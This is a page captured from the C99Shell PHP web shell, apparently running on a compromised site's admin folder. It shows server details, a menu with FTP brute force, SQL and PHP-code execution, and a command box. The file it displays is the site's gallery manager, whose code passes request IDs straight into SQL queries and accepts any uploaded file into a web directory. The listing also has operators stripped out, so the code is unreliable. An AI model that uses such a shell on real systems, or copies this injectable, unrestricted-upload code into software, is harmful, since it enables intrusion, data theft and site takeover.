!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/admin/   drwxr-xr-x
Free 30.77 GB of 49.93 GB (61.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     photo_gallery.php (3.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE html>
<html lang="en">

 <?php include 'head.php';?>

<body>

  <!-- ======= Header ======= -->
  
 <?php include 'menubar.php';?>

 <?php include 'sidebar.php';?>


  <main id="main" class="main">

<?php
// Connect to the database
include 'connect.php';

// Add new photo
if (isset($_POST['add'])) {
    
$photo_name $_FILES['photo']['name'];
    
$target "slider/" basename($photo_name);
    if (
move_uploaded_file($_FILES['photo']['tmp_name'], $target)) {
        
$conn->query("INSERT INTO gallery (photos) VALUES ('$photo_name')");
        echo 
"<script>alert('Photo added successfully');</script>";
    } else {
        echo 
"<script>alert('Failed to upload photo');</script>";
    }
}

// Update photo
if (isset($_POST['update'])) {
    
$id $_POST['id'];
    
$photo_name $_FILES['photo']['name'];
    if (!empty(
$photo_name)) {
        
$target "slider/" basename($photo_name);
        if (
move_uploaded_file($_FILES['photo']['tmp_name'], $target)) {
            
$conn->query("UPDATE gallery SET photos='$photo_name' WHERE ID=$id");
            echo 
"<script>alert('Photo updated successfully');</script>";
        } else {
            echo 
"<script>alert('Failed to update photo');</script>";
        }
    }
}

// Delete photo
if (isset($_GET['delete'])) {
    
$id $_GET['delete'];
    
$result $conn->query("SELECT photos FROM gallery WHERE ID=$id");
    if (
$row $result->fetch_assoc()) {
        
$file "slider/" $row['photos'];
        if (
file_exists($file)) unlink($file);
    }
    
$conn->query("DELETE FROM gallery WHERE ID=$id");
    echo 
"<script>alert('Photo deleted successfully');</script>";
}

// Get all gallery entries
$photos $conn->query("SELECT * FROM gallery ORDER BY ID DESC");
?>

<!DOCTYPE html>
<html>
<head>
    <title>Gallery Manager</title>
    <style>
        body { font-family: Arial; margin: 40px; }
        table { border-collapse: collapse; width: 100%; margin-top: 20px; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: center; }
        img { width: 100px; height: auto; }
        form { margin-top: 20px; }
        .form-inline input[type="file"] { margin: 10px 0; }
        .btn { padding: 5px 10px; cursor: pointer; margin: 2px; }
    </style>
</head>
<body>

<h2>🖼️ Gallery Management</h2>

<!-- Add new photo -->
<form method="POST" enctype="multipart/form-data">
    <h3>Add New Photo</h3>
    <input type="file" name="photo" required>
    <button class="btn" name="add">Upload</button>
</form>

<!-- View all photos -->
<table>
    <tr>
        <th>ID</th>
        <th>Photo</th>
        <th>Update</th>
        <th>Delete</th>
    </tr>
    <?php while ($row $photos->fetch_assoc()) { ?>
    <tr>
        <td><?= $row['ID'?></td>
        <td><img src="slider/<?= $row['photos'?>"></td>
        <td>
            <form method="POST" enctype="multipart/form-data" style="display:inline-block;">
                <input type="hidden" name="id" value="<?= $row['ID'?>">
                <input type="file" name="photo" required>
                <button class="btn" name="update">Update</button>
            </form>
        </td>
        <td>
            <a href="?delete=<?= $row['ID'?>" onclick="return confirm('Delete this photo?')" class="btn">Delete</a>
        </td>
    </tr>
    <?php ?>
</table>

</body>
</html>


  </main><!-- End #main -->

   <?php include 'footer.php';?>

</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0026 ]--